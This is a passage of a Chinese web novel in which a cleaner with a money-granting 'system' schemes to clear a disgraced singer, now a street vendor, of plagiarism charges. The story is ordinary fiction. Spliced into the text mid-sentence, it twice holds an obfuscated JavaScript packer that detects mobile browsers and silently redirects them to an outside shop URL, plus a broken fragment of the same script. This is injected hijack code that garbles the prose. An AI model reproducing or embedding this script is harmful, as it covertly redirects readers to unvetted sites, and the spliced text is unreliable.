所以这段时间她搭进去的时间、精力、金钱,熬的夜、吵的架、掉的头发……都算什么啊? 算她大怨种一个吗??? “不行!绝对不行!我不同意!!” 施浓猛地站起身,声音带着濒临崩溃的抓狂,“谁允许你退圈的?谁允许你去卖糖包的?我不同意!我五百亿个不同意!!” “……” 郁森屿看着施浓癫狂的模样,睁大眼睛,一脸迷茫道:“啊……你在说什么啊?我、我没说我要退圈啊!” …… 郁森屿说得都是大实话,他确实没打算退圈。 或许他曾经有过这样的想法,在所有人都骂他的时候,在无穷无尽的恶意朝他袭来的时候,在他妈妈去世的时候,他确实想过退缩,想过就这样吧,算了吧。 对他来说,在音乐路上奔跑,义无反顾地追求他的梦想,这本来应该是一件很纯粹很美好很快乐的事情,但现在他所感受到的痛苦已经彻底掩盖了他能获得的快乐和兴奋,只会让他觉得无比的难过和委屈。 既然难过,既然痛苦,那他为什么还要继续坚持呢?人生的意义不就是快乐吗?如果不快乐,坚持还有什么意义?俗话说得好,人生无难事,只要会逃避嘛。 他大可以义无反顾地抛下现在的一切,他大可以远走高飞,一了百了。 可当他真的放弃,真的从高处一跃而下,真的快要死的时候,在生命倒数的那几分钟,他脑海里想的居然还是他的舞台和音乐—— 那束绿莹莹的光,那个十五岁的自己,那份简单的幸福与快乐。 也是在这个时刻,他恍然大悟,原来他还是喜欢,还是不甘,还是放不下啊。 他行得正坐得直,他从来没有抄袭任何人,他问心无愧、坦坦荡荡,所以—— 他为什么是这样的结局?他凭什么是这样的结局?! 不该是这样的啊。 他想,就算有一天他真的要离开,也是因为他真的不喜欢了,不想要继续下去了,而不是被迫离开。 就算走,他也应该清清白白地走,而不是像现在这样,背负着满身莫须有的罪名狼狈离场。 只有这样,才算对得起他自己,对得起他的梦想与热爱。 …… 一听到郁森屿并没有退圈的打算,施浓一秒冷静。 她不慌不忙地捋了捋头发,淡定落座,就好像前几秒那个发疯的人不是她一样。 冷静下来后,她看了看郁森屿,又看了看窗外的橘黄色小推车,心里还是有点小困惑,“既然不打算退圈,那你现在卖糖包是……” 说到这个,郁森屿不太好意思地摸了摸头,声音轻了几分,“其实我就是……不想一个人呆着。” “一个人呆着的时候,我总是控制不住胡思乱想,精神状态很差,容易做傻事。” 他抬起头,笑了笑,眼神清澈又明亮。 “卖糖包挺好的。简单,踏实。而且当我站在街边,看着人来人往,大家行色匆匆,但都在努力活着。一想到这些,我的心境就变得无比平和,心里的那些小情绪似乎也变得微不足道起来。” “还有。”说到这里,郁森屿看向施浓,小声但认真道:“我的命是你救的,我很感激,也很珍惜。虽然活着很难,但我还是要好好活着,总不能让你白费力气,你说对吗?” 对!太对了! 这些话简直说在了施浓的心趴上,感动得她眼泪都快出来了。 她原本还担心郁森屿会想不开,还想着替他反黑后要怎么开解他,毕竟他都走到了自杀那一步,应该会有很严重的情绪问题,但没想到他竟然这么通透,还在积极自救。 只要他不放弃,她的所有付出和努力就是有意义的! 在他们两个人的共同努力下,一切都会越来越好的! 施浓瞬间信心满满,仿佛已经看到了胜利的曙光,“这就对了!记住,你不是一个人在战斗,还有我呢!我会帮你的!” 她拍拍郁森屿的肩膀,语气里充满了毋庸置疑的笃定,“我们强强联合,肯定能杀出一条血路,逆风翻盘,顶流归来!” “……强强联合?帮我?” 郁森屿愣愣地重复着施浓说的这几句话,表情怔怔的,眼底有几分感动,但更多的是困惑。 她为什么要帮他,为什么对他这么好? 在他的记忆里,他们之间的交集寥寥无几。除了上次她及时出现将他从鬼门关拉回来,他们之间再无交集。 她已经帮了他一次,给了他一次重新来过的机会。 可现在,她还如此笃定地站在他面前,说要继续与他共同面对这场狂风暴雨,还要帮他重回巅峰…… 为什么呢? 郁森屿想不明白,他也不是那种喜欢弯弯绕绕,有事憋在心里死活就是不说的人,干脆就直接问了出来。 “你为什么要帮我?你难道不怕我……拖累你吗?毕竟我现在……一身腥。” 他的声音越来越轻,最后的几个字轻得几乎消失在空气中。 但施浓还是听见了。 她早知道郁森屿会这么问。 面对他澄澈却带着疑惑的目光,施浓立刻进入状态。 还是熟悉的套路,还是万变不离其宗的台词,她努力扮演一个真情实感的追星女孩,就像她当初说服李察时那样。 “有什么好怕的!” 施浓微微仰头,眼神坚定道:“你可能不知道,我是森林,是你粉丝中的一员。” 她稍稍放缓语速,让每个字都显得格外真诚,“我喜欢你很多年了,从你出道开始就一直默默地关注你。你的每一首歌我都听过,我相信你不是网上说的那种人,也相信你的才华和品格。” 说到这里,她轻轻握了握拳,像是为自己打气。 “正因如此,我更希望你能好好的。所以现在,我想帮你,仅此而已。” “……” 施浓这番话说得情真意切,连她自己都被感动了,很难让人不相信。 郁森屿怔怔地看着她,嘴唇微动,似乎想说什么。 然而,还没等他开口—— “你说你喜欢谁?” 一个低沉又清晰的声音从对面传来,带着一种不容忽视的意味,仿佛在确认什么重要的事情。 施浓和郁森屿双双扭头。 只见坐在他们对面的连牧尧不知何时放下了手中的茶杯,身体微微前倾,修长的手指在桌上轻轻敲击着。 他的目光牢牢锁在施浓脸上,唇角虽然还挂着那抹惯常的弧度,眼中也带着笑意,但莫名却给人一种压迫感,让人能感觉到他的心情并不像他表面展现出来的那么愉悦。 施浓:“???” 郁森屿:“???” 哦豁,他俩聊得太投入,差点忘了对面还坐着个……人? 咳,这就有点尴尬了。 施浓缓缓别开眼,摸摸鼻子,有点不太好意思。 郁森屿也像是这时才突然注意到连牧尧的存在。 他看看对面的男人,又看看施浓,目光在两个人之间来回游移,眼神中有明显的困惑和疑问,“他是……” “呃……” 施浓这才反应过来她还没介绍,连忙清了清嗓子道:“这位是连牧尧,我的……” 说到关键处,她突然卡壳了。 她该怎么定义连牧尧的身份?帮过她的好心人?多年未见的高中同学?还是……她曾经养过的狗? 咳,一想到连牧尧曾经当过她的狗,施浓就开始尴尬。 这不能怪她。 试想一想,你曾经精心照顾、日夜相伴、蜷在怀里撒娇、亲密无间的小家伙,突然变成一位身形挺拔的成年陌生男性出现在你面前,这情况,任谁都会手足无措,并且有种莫名羞耻感的吧? 施浓赶紧摇了摇头,甩开这些乱七八糟的念头,吐出最稳妥的定义—— “朋友。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“等等。” 听到这话,施浓瞬间回神,她一把按住正要起身的郁森屿,利落地拿出手机,“我们先加个微信吧?怎么帮你这事我们还得好好商量商量。” 这个提议让郁森屿动作一顿,他下意识地瞥了眼对面。 连牧尧虽然仍保持着优雅的坐姿,唇边甚至带着若有似无的笑意,但那道落在手机屏幕上的目光,却让他莫名觉得后背发凉。 在连牧尧看似平静,实则暗流涌动的注视下,郁森屿不太自在地摸摸鼻子,突然有种当着主人面光明正大偷家的感觉……但他还是顶着巨大的压力,在这样的目光下默默掏出了手机。 “嘀”的一声,扫码成功。 施浓满意地看着新添加的联系人,手指飞快地备注着。 “好了,那你先去忙吧,之后我们微信详聊。” 郁森屿连连点头,几乎是如蒙大赦,转身便快步离开,背影带着点落荒而逃的意味。 餐桌旁顿时只剩下两人。 连牧尧慢条斯理地端起茶杯,氤氲的热气模糊了他唇边似笑非笑的弧度。 他目送郁森屿的背影消失在餐厅转角,视线回落在低头摆弄微信的施浓身上。 “你确定你要帮他?他这事,恐怕比你想得要麻烦得多。” 虽不了解具体的细节,但从刚才他们的对话中,连牧尧也能推断得七七八八。 施浓毫不犹豫地点头,眼神坚定,“当然。我既然说了要帮,就一定会帮到底。” ——不然她前期投入的时间、精力和金钱岂不都打了水漂?她的百亿富翁之路还怎么走下去? 连牧尧若有所思地放下茶杯,忽然轻笑一声,那笑声里带着几分让人捉摸不透的意味。 “有意思。” 他微微前倾,修长的手指在桌面上轻叩,“既然你这么坚持……” “不如加我一个?” 施浓愣住了,“你?” “怎么?不相信我的能力?” 连牧尧挑眉,慢条斯理地列出筹码。 “盛世传媒的董事我认识还很熟,星耀的副总欠我个人情。我加入你们,我的这些资源你们也可以利用一下,稳赚不赔的买卖,你确定不考虑一下?” 22. 这盘稳了 听到连牧尧诚意满满的合作提议,尤其是听到盛世传媒和星耀这两个如雷贯耳的名字,施浓说不心动肯定是假的。 为了帮郁森屿反黑,她可是了解了很多有关娱乐圈的信息。 盛世和星耀这两家公司都是娱乐圈顶尖的存在,星耀更是那个在郁森屿出事后不仅没有维护自家艺人,反而顺水推舟、落井下石的公司。 星耀的副总居然欠连牧尧一个人情? 施浓的大脑飞速运转。 如果连牧尧和星耀副总真有交情,那他是不是也能接触到更多的行业内幕?比如,究竟是谁对郁森屿恨之入骨,想要置他于死地? 她的情感疯狂叫嚣:答应他!立刻!马上! 但她的理智却把她拉了回来—— 和连牧尧合作? 咳,光是想象一下他们坐在一起正襟危坐讨论的画面,她脑子里就控制不住冒出来当年他还是狗的时候,歪着头,用湿漉漉的眼神瞅着她,一脸无辜搞破坏的画面…… 救命!她是专业的,除非真的忍不住! 施浓眼神飘忽,没有直接答应,“再说吧,合作的事情有点突然,我得好好想想。” 连牧尧点点头,没再强求。 接下来,两个人安静地就餐,也没再说这类的话题。 饭后,连牧尧自然地拿起外套道:“我送你回去?” 施浓想都不想就拒绝,“不用,我自己回去就行。” 她家离饭店不过十分钟的路程,来的时候就是跑着来的……要是让连牧尧送她,那她之前信誓旦旦说堵车的谎言岂不是要被当场戳穿? 说谎是一回事,当今的人谁不说谎,施浓对此倒是没有什么负罪感,但要是说谎被当众拆穿那就是另一回事了…… 笑话,她怎么会允许这种社死现场发生? 不管怎么说,成年人还是要维持表面的体面的。 所以不能送,坚决不能送! 好在连牧尧也没有过于坚持。 两个人在饭店门口挥手道别。 …… 十月份的晚上还是很舒服的,空气不冷不热。施浓慢悠悠地沿着人行道往自己住的小区走。 夜风一吹,她发热的头脑稍微冷静了些。 她边走边打量路边的摊贩,试图去找一下郁森屿的身影,但并没有找到。 可能是他并不在这一带摆摊吧。施浓摇了摇头,也不再多想。 又走了一段距离,施浓隐隐觉得不对劲—— 背后好像有人一直在跟着她。 她猛地回头,只见连牧尧不近不远地跟在她身后几步之外,保持着恰到好处的距离,单手插在西装裤袋里,姿态从容。 见施浓回头,连牧尧的目光快速而精准地锁定在她身上。 两人四目相对。 施浓:“???” 都说了不用送,这小子怎么还跟在她后面,难不成是以前当她狗当习惯了,就喜欢跟在她屁股后面? 这样可不好啊。 就算他曾经是她的狗,但这么多年没在一起,其实也和陌生人差不多,所以是不是还是得有点分寸感啊? 施浓倏忽停下脚步,表情不善地转身。 她刚要开口,连牧尧却好像已经看穿了她的心思,也知道她要说什么,率先开口道:“澄清一下,我可不是在跟踪你。只是顺路,我就住在那里。” 说完,他抬手指了指施浓身后。 施浓顺着他手指的方向看去,发现连牧尧指的地方正好也是她住的地方。 施浓:“???” 他们竟然住一个小区? 这么巧的吗? 这里面……确定没有什么猫腻?? 施浓狐疑地看向连牧尧,“老实说,你确定没有在背后偷偷调查过我?” 虽说连牧尧是她的狗,很多细节也可以对应上,但施浓还是无法百分百信任连牧尧。毕竟,已经过去这么长时间了,而且人都是会变的。 面对施浓的质疑,连牧尧没有急着辩解,反而微微弯了弯唇角,那笑意在路灯下显得格外坦荡。 他不紧不慢地走到施浓身侧,与她并肩而立,“阿时,这你就有点冤枉我了。” 他的声音低低的,带着一点慵懒的尾音,“我在这个小区住了三年,物业也有登记。你要是不信,现在可以去门卫室查。” 施浓一愣。 三年前?那时候她还没搬过来呢。 她皱着眉打量他,试图从那张从容不迫的脸上找出一丝说谎的痕迹。连牧尧十分坦然地任她看,甚至微微侧了侧头,让她看得更清楚些。 看样子不像在说谎,可能确实是她想多了吧。 施浓点点头,也没有过多纠结。 她没再说什么,转过身,继续往小区的方向走。连牧尧自然而然地跟了上来,走在她左手边,步伐不快不慢,正好与她同步。 又走了一段,走进了小区,在经过一栋精致的联排别墅时,连牧尧慢慢停住脚步。 “我到了。” 他的目光落在她身上,指了指身后那圈被盛放的灌木月季隔开的联排别墅,介绍道:“这就是我家。” 施浓顺着他指的方向望去,心头猛地一跳。 他家她可太熟悉了! 她进出小区的时候经常会经过这里,每次都忍不住多看几眼,也曾偷偷幻想过自己有钱后也能拥有这样一栋房子。 可万万没想到,连牧尧就住在这里! 更离谱的是,她明明无数次经过这栋房子,但他们竟然没有一次遇到过! 这合理吗?这科学吗? 施浓的眼神瞬间又警惕起来。 连牧尧仿佛又一次看穿了她的心思,开口解释道:“这里的房子我不常住,只是偶尔会过来一趟。没想到这么巧,你也住这个小区。” 他语气自然地接了一句,“对了,你住哪栋?我们既然住一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487102|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小区,以后可以互相多走动。” “……” 施浓半天没有回答。 倒不是故意不回答,而是她的关注点全都放在了连牧尧前半句话上。 不常住?偶尔过来一趟?然后就买了一个这么大、这么豪华、光是看着就让她心跳加速的她的梦中情房啊? 可恶,好想跟他们这些有钱人拼了! …… 回到家后,施浓把自己摔进柔软的大床上,心情还是久久不能平静。 就这短短的一天内,发生的事情也太多了。 脑子里塞满了各种乱七八糟的画面,有连牧尧,有郁森屿,有末世,有泥染……想着想着,施浓越想越困,眼皮也越来越沉,不知不觉抱着被子就睡了过去。 可能是因为她之前熬夜太久了,身体一直超负荷运转,累到了极点,这一睡她直接睡死过去,整整睡了一天一夜,睡得那叫一个昏天黑地。 等施浓被手机持续的震动吵醒时,窗外已是天光大亮。 她迷迷糊糊地抓起手机,眯眼看向屏幕,等她看清后,直接一个弹跳就坐了起来。 只见音乐区UP主把已经制作完成的视频发了过来,还附赠一连串他本人哭唧唧的表情包。 “老板,您看看我这黑眼圈啊。天地可鉴,我可是连夜赶工爆肝做好的视频啊。没有功劳也有苦劳,就算哪里有些小问题,你也多担待一点,不要瞎扣钱啊……” 眼下这个关头,施浓哪有心思听他瞎贫,她的注意力全放在了视频上。 她低头迅速浏览了一遍视频。 不得不说,这位音乐区UP主虽然是个没有底线、见钱眼开、见风使舵、满嘴跑火车的人,但专业能力还是可以的。 视频条理清晰,证据扎实,连她这个外行都能看懂那些复杂的乐理分析,施浓对此表示很满意。 别说扣钱,心情一好,她大手一挥又给UP主发了大大的红包奖励。 UP主几乎秒回。 他不仅红包收得飞快,还立马给施浓回了一连串跪地叩谢的表情包,连连称赞老板大气。 施浓心安理得地接受了。 不仅如此,她的心情也美滋滋的。 有了这条视频,郁森屿还愁洗不白,她还愁拿不到她的小钱钱吗? 等钱一到账,她也要买个像连牧尧家那样的大house,好好体验体验有钱人的生活。 想到她的大别墅,施浓更是一分一秒都不想浪费。 她迫不及待地登录上营销号后台,将这条视频排版剪辑,然后点击发布。 做完这一系列行云流水的操作后,施浓满脸笑容地捧着手机,脑子里全是对于未来的美好幻想。 来吧!她的全网轰动,逆风翻盘! 来吧!她的舆论反转,绝地反击! 来吧!她那金灿灿的、光芒四射的百亿成神之路啊! 来吧!就让成功再来得更猛烈一些吧! 23. 贫穷的起点 事实证明,半路开香槟的做法永远都是不可取的。 现实非但没有如施浓所愿,还恶狠狠地给了她当头一棒! 视频发布后,就像是往大海里扔了颗芝麻大的小石子,没有丝毫重量,就连个像样的水花都没能溅起来。 她的评论区一如既往还是清一色的嘲讽。 “又来洗地?这狗营销号到底收了多少黑心钱?没完没了。” “视频做得再好再专业有什么用?一看就是伪造的数据!” “笑死,随便做个视频就想洗白,还想打我们的脸,真当我们都是傻子啊?” “每日一问:郁森屿今天退圈了吗?” 施浓:“……” 施浓:“???” 这怎么和她想的不太一样啊? 她的洗白呢? 她的全网轰动呢?? 都跑哪去了啊??? 施浓不可置信地刷新了好几遍手机,可非但没刷到任何她想看到的好消息,还又刷到了一大堆负面评论。 而且不光她的评论区沦陷了,音乐区UP主同步发布视频的评论区也是一片狼藉。 “又多一个洗地的,多少钱一条啊?” “这UP主以前还挺客观的,现在为了钱连底裤都不要了!” “分析得头头是道,但谁不知道是拿钱办事啊!证据呢?实锤呢?拿出来啊!别整这些有的没的!” “郁森屿抄袭狗!郁森屿恃强凌弱!郁森屿道德败坏!郁森屿滚出娱乐圈!” “UP主能不能有点节操?赚钱也得有点底线好伐?劣质艺人给爷爬!” “……” 音乐区UP主哭唧唧地跟施浓诉苦。 “老板,我评论区好多人骂我,说我恰烂钱、毫无底线,还说要取关我、人肉我!呜呜呜我实在顶不住了,可以报工伤吗?” 施浓:“……” 别扯那么多…… 你不要以为我没看出来你的终极目的就是后面几个字——:)。 施浓懒得理他,也不想再看那些乱七八糟的评论还有私信。 什么啊,这发展对吗? 她现在钱也花了,洗白也没啥重大进展……这个世界上还有比她更惨的人吗? 施浓盯着手机银行上那可怜兮兮的两位数余额,嘴角抽了抽。 一朝回到解放前啊。 系统说得没错,娱乐圈的门槛是高啊。她这还没正式迈进入,就已经赔得血本无归了啊。 这也太惨了吧。 早知道就省着点花了,现在就剩那么点钱,马上连饭都要吃不起了,这可咋办啊? 越想越忧虑,施浓满脸愁容,最后更是干脆直接把手机一关,扔在一边。 眼不见心不烦。 只要她不看,就什么也没有。 逆风翻盘她没能做到,但自欺欺人她还是可以做到的。 然而,即便如此,还是有个声音逼逼叨叨不停地传进施浓的耳朵。 这个声音来自系统。 系统看热闹不嫌事大,【宿主,我之前就跟你说过,仅收购一个账号影响力有限。你不信,非得收购。事实证明,确实也没啥效果。现在你的钱也全部搭进去了,你准备怎么办?】 “……” 小嘴巴,闭起来,OK? 施浓瘫在床上,面无表情地盯着天花板。 “还怎么办?凉拌!” 说完,她一把捞过被子,打算继续睡觉,不再去想这些糟心的事情。谁知道还没等她睡着,肚子倒是率先传来一阵空腹感。 她饿了。 施浓躺在床上叹了口气,无奈地从床上爬起来,准备找点吃的。 可家里空荡荡的,冰箱里的东西也都吃完了,她又懒得出去,只好点开外卖软件。 她划拉了半天,凑单满减算来算去,最便宜的一顿也要将近三十块。 施浓看看账户余额,再看看昂贵的外卖价格,边看边叹气,前段时间她还是个名副其实的小富婆,如今她马上连外卖都要吃不起了啊。 啧,这惨烈的对比。 意识到这个残酷的现实后,施浓再次叹了口气,然后不知道想到了什么,她眼睛一转,突然开始呼唤系统,语气里充满了谄媚。 “我亲爱的亿哥,你在嘛?你也看到了吧,你可怜的小妹现在马上连饭都要吃不起了,你难道就没有什么表示吗?” 面对施浓的问题,系统表现得相当谨慎。【宿主,你想说什么,有话可以直说。】 “不干什么,就是想让你再提前给我爆点金币。不用太多,只要一点点就好,就当是预支工资。”施浓的眼神无比真诚,举起手做出发誓的动作,“我发誓,拿到钱后,我肯定加倍努力完成任务,争取尽早替郁森屿洗白,帮他的人生早日回到正途。” 系统沉默了三秒钟,【宿主,虽然我很同情你的遭遇,但根据系统规则,除了首次,后续的任务奖励必须在达成阶段性目标后才能发放,不支持任何形式的预支。】 施浓哀嚎道:“啊,我亲爱的亿哥,就不能稍微通融一下吗?你难道忍心眼睁睁看着我饿死吗?” 【不会的,宿主,你不会饿死的。】 系统根本不吃施浓这一套,无比冷静道:【就算从我这里拿不到钱,你也可以靠自己的双手好好活下去。实在不行,你就出去找个班上嘛。我记得,你原来的保洁工作好像还没辞吧?你可以回去继续上班的,反正肯定不会饿死的。】 施浓:“……” …… 得,兜兜转转,一切又回到了起点。 那一百万的梦,只是短暂地在她手里过了下场。 为了不让自己饿死,施浓隔天起了个大早,重新回到了她熟悉的、光荣的、可以让她发光发热的工作岗位—— 心诚保洁岗。 说起来,心诚是个大公司,就算是保洁,待遇在同行里也算是不错的。 不仅五险一金齐全,节假日有福利,中午食堂还管一顿饭,而且活也不重。 最重要的是,同事关系和谐。 保洁组的几位阿姨大姐,个个都是人精中的人精,但从来不搞小团体那一套。 谁今天不舒服,另一个人顺手就把她的区域拖了。谁家里有事,大家凑个班帮忙顶一下,回头请喝杯奶茶就完事。 施浓换上那件熟悉的橘色马甲,拎起拖把走进走廊,迎面就碰上刘姐。 “哟,小施回来啦!”刘姐眼睛一亮,“家里事处理好了?几天不见,感觉你气色好了不少啊。” 施浓笑着点点头:“处理好了。” 刘姐上下打量着她,越看越觉得不对劲。 搁以前,这姑娘三步一咳五步一喘的,走路都像是飘着的,她们保洁组这几个大姐私下没少操心。 王姐还专门从老家给她寄过红枣枸杞,说是补气血。 每次排班,大家都默契地把最轻松的活留给她,生怕这姑娘哪天咳着咳着就背过气去。 可现在站在她面前的人,面色红润,眼睛有光,说话也中气十足。 别说咳嗽了,身体看上去简直不要太健康了。 虽然不清楚为什么施浓会有这样的变化,但身体好总比不好强吧,总归来说是好事啊。 “好好好,年轻人就该有点朝气。以前看你那病恹恹的样子,我心里看着可真不是滋味,现在这样好得很。”刘姐笑着竖起了大拇指。 不光是刘姐,其他的保洁阿姨也陆续发现了施浓的变化,啧啧称奇道:“小施这趟回来,气色好了不是一星半点,以前走三步喘两步,现在拖一整层楼都不带歇的啊。” 施浓:“……” 也没有这么夸张哈。 大家虽然觉得稀奇,但都是出于好意,而且也都是真心替施浓高兴,并且还嘱咐她要好好保持,千万别再把身体折腾回去了。 看着保洁阿姨们那真诚又满是关心的眼神,施浓说不感动肯定是假的。 她笑着应下,手里的拖把挥舞得更起劲了,不仅很快把她自己的区域给拖好了,还顺便帮其他的保洁阿姨们拖了地。 收拾好打算离开的时候,施浓听见茶水间传来了两个年轻员工的对话声,引起了她的注意。 一个说:“周落那个综艺你看了吗?他唱的那首《破晓》还挺好听的,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487103|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经单曲循环好几天了。” 另一个却嗤了一声:“好听是好听,但你不觉得他现在的歌和以前风格差太多了吗?” “……”周落? 这个名字还挺耳熟的,好像在哪听过。 施浓皱眉想了想,突然想起这个周落不就是那个面对镜头哭得梨花带雨,说郁森屿抢了他的创作成果的后辈嘛。 施浓靠在茶水间门口的墙上,继续竖着耳朵听。 “风格差太多又怎样?好听就行了。”第一个员工显然是周落的死忠粉,“而且周落最近的资源也太好了,综艺、新歌、代言,一个接一个……可喜可贺,他终于苦尽甘来,要混出头了。” 另一个员工翻了个白眼,“资源好是真的,但你不觉得他这波红利吃得太难看了吗?郁森屿一出事,他立马就顶上来了,时间点卡得刚刚好。” “那说明人家有准备呗。” “有准备?”那员工冷笑一声,明显是不太喜欢周落,“我怎么觉得是有预谋呢。” 茶水间里安静了两秒,死忠粉显然不想接这个话茬,嘟囔了一句“你就是见不得人家红”,就端着水杯走了。 …… 施浓拎着拖把回了保洁间,脑子里却一直想着周落这个名字。 她把拖把往桶里一搁,掏出手机,窝在角落的椅子上就开始搜。 先搜了周落。 热搜词条五花八门,但基本上都是正面新闻,像是#周落新生代唱作人#,#周落新歌《破晓》霸榜一周#,#周落综艺名场面合集#等等。 施浓又搜了周落和郁森屿,这回跳出来的内容就没那么正面了。 词条标题一个比一个劲爆,像是#郁森屿被指抄袭后辈周落#,#周落泪诉被抢歌内幕#,#郁森屿事件再升级,周落或成最大受害者#。 施浓点进一篇长文,从头到尾看了一遍,内容大致是说郁森屿当初仗着自己在圈里有点地位,强行把周落创作的歌《Moon》占为己有,还试图让周落闭嘴。 周落忍了很久,直到郁森屿被爆出其他的抄袭丑闻后才敢站出来说出真相。 配图是周落在镜头前哭红了眼眶的照片,我见犹怜。 施浓又翻了翻评论区,评论区基本上都是支持周落,骂郁森屿的。 “郁森屿滚出娱乐圈!” “心疼周落,被欺负了这么久才敢说。” “支持周落维权!支持原创!” “……” 但也有几条不太一样的。 “等等,郁森屿以前的作品风格跟《Moon》差不多啊,感觉像他自己写的,这歌真是他抢周落的吗?” “只有我一个人觉得周落哭得有点假吗……” “……” 施浓看了半天,只知道网上都在说郁森屿抢了周落的歌,但没人说得清这中间到底发生了什么。 郁森屿肯定是没有抄袭的,周落为什么会跳出来指控郁森屿?他们之间到底有什么恩怨纠葛? 针对她的这些疑问,施浓又看了很多相关的文章,网上说什么的都有,真真假假混在一起,根本分辨不清。 不过,这倒给了她一个新的想法。 经过上次反黑失败,施浓也悟出来一个道理—— 给郁森屿洗白这件事,不能只讲道理,不能只一味喊郁森屿无罪,郁森屿没有抄袭,这样根本没啥效果,发出去的视频也没人看,成本还高。 与其自证清白,不如正面硬刚,当众上演一场撕逼大战。 这届网友向来看热闹不嫌事大。枯燥乏味的分析视频,他们不愿意多看一眼。可一旦扯头花、正面硬刚、当众撕逼,流量和热度绝对会爆炸。等到那时再甩出实打实的证据,也就有人愿意去看去相信了。 而周落,就是一个很好的突破口。 他现在风头正盛,网友们对他的新闻肯定很感兴趣。 与其追着网友解释郁森屿没抄袭,不如直接把矛头对准周落。 他不是说郁森屿抢了他的歌,那咱们就当面对质,把时间线、创作过程、所有证据都摊开来晒一晒。 谁在撒谎,谁在演戏,到时候一目了然。 24. 往事随风 施浓越想越觉得这条路可行,眼睛都在发光,迫不及待对系统道:“亿哥,你觉得我们和周落正面开撕怎么样?” 系统听了这话,倒是没有给出肯定的回复,也没有否认,只是说:【也是一种方法,你想试可以试试。】 说干就干。 施浓立马给郁森屿发消息约时间见面,她需要从郁森屿这个当事人那里了解更多有关他和周落的事情,这样她才能确定后续要怎么操作。 施浓打开微信,点开和郁森屿的聊天框,发消息道:“之前说帮你洗白的事,你有时间吗?我们见面好好聊聊吧。” 郁森屿的消息很快发了过来。 “我有空,我们在哪见呢?” 施浓想了想,而后道:“你最近还出摊吗?” 对方几乎是秒回:“出,不过你今天要是有安排,我也可以不出。” 施浓回复道:“没事你出吧,到时候把位置发我,我去找你。” …… 晚上六点,施浓准时出现在郁森屿那辆闪烁着廉价七彩LED灯牌的橘黄色小推车前。 虽然她之前已经见过一次这辆车,可再次看见,还是会有种魔幻感。 更令她感到魔幻的是,郁森屿这小小的摊贩生意竟然还不错。 下班放学的人流中,时不时就有熟客光顾,开口就是:“老板,老样子,来俩糖包。” 郁森屿站在小摊前,依旧包裹得严严实实,但他招呼客人的架势却很娴熟,熟练地装袋收钱,还会热情地招呼客人下次再来。 估计任谁也想不到,这个小贩会是此刻被全网唾骂、身陷抄袭风波的顶流歌手吧。 施浓抱着手臂站在旁边看了好一会,直到一波人流过去,摊前暂时清静下来,她才慢悠悠地走过去。 “老板,生意不错啊。” 她笑眯眯地敲了敲摊车的玻璃挡板。 郁森屿闻声抬头,见到是她,立马停下了手上的动作,欣喜道:“你来啦!” 话音未落,他便手脚麻利掀开蒸笼,夹起一个热气腾腾的糖包,装好递给施浓。 “对了,你快尝尝,上次就想请你吃的。这是我新调的馅儿,可甜更香了!” 施浓本来没想吃的,她并没有很馋,但实在是盛情难却。 在郁森屿期待的目光下,她接过来,轻咬一口,眼神瞬间变了。 暄软面皮带着微甜,琥珀色的滚烫糖馅也紧跟着流淌出来,在唇齿之间化开,甜而不腻,带着淡淡的焦香,味道居然出乎意料的好吃。 施浓的眼睛肉眼可见地亮了起来,一边大快朵颐,一边抬眼看郁森屿,不敢置信道:“这糖包真是你亲手包的?” 郁森屿很开心地应答:“昂。” 施浓竖起大拇指,连连夸赞道:“可以啊,你还有这一手,手艺不错啊,很好吃,从哪学的啊?” 她只是随口一问,但没想到,她这一句话一下就戳没了郁森屿周身那点欢快的气息。 郁森屿低着头,神情看不太清,无意识地用夹子拨弄着笼屉里白胖的糖包,声音有些低沉。 “我们家祖传的手艺。我妈,我姥爷,都是正经大厨,开过饭店。可惜他们都不在了,不然你还能尝尝他们的手艺,比我更好……” 听到这话,施浓咀嚼的动作慢了下来,她抬头看向郁森屿。 郁森屿的眼眶微红,眼睛里也蒙上了一层淡淡的水雾。 虽然他在笑,嘴角也是扬起的,但他的笑容中却带着淡淡的落寞和伤感,感觉一个不注意,下一秒就要哭出来。 施浓最见不惯别人哭,尤其是郁森屿这种一哭就停不下来的哭包体质。 这一点她之前可亲身见识过,着实让人有些头疼。 为了避免这样的事情再次发生,她连忙开口道:“你别难过,他们只是不在你的身边,但不代表他们消失了。死亡不是终点。” 施浓指了指天,又看了看四周喧闹的夜市,努力安慰道:“也许他们已经变成了天上的一颗星,或者是落下的一滴雨,也可能是吹来的一阵风……但不管变成什么,我相信,他们一定在这个世界的某一个角落,很温柔地注视着你、守护着你。他们希望你过得好,只要你开心,他们也会开心的。所以千万别哭啊,看见你哭,他们会很难过的。” “……” 听到施浓的话,郁森屿虽然很想哭,但还是忍住泪,拼命点头。 施浓也赶紧转移话题,很快就把话题引到了正事上。 她掏出手机,点开几个界面,将屏幕转向郁森屿。 “先跟你同步一下信息,这段时间我专门搞了个营销号,发布了不少给你澄清的消息,还专门请人给你做了澄清视频。” “原来是你……”郁森屿先是惊讶,而后露出了恍然大悟的神情,“这些东西我有看到,我就说网上怎么会有人突然替我说话……怪不得。” 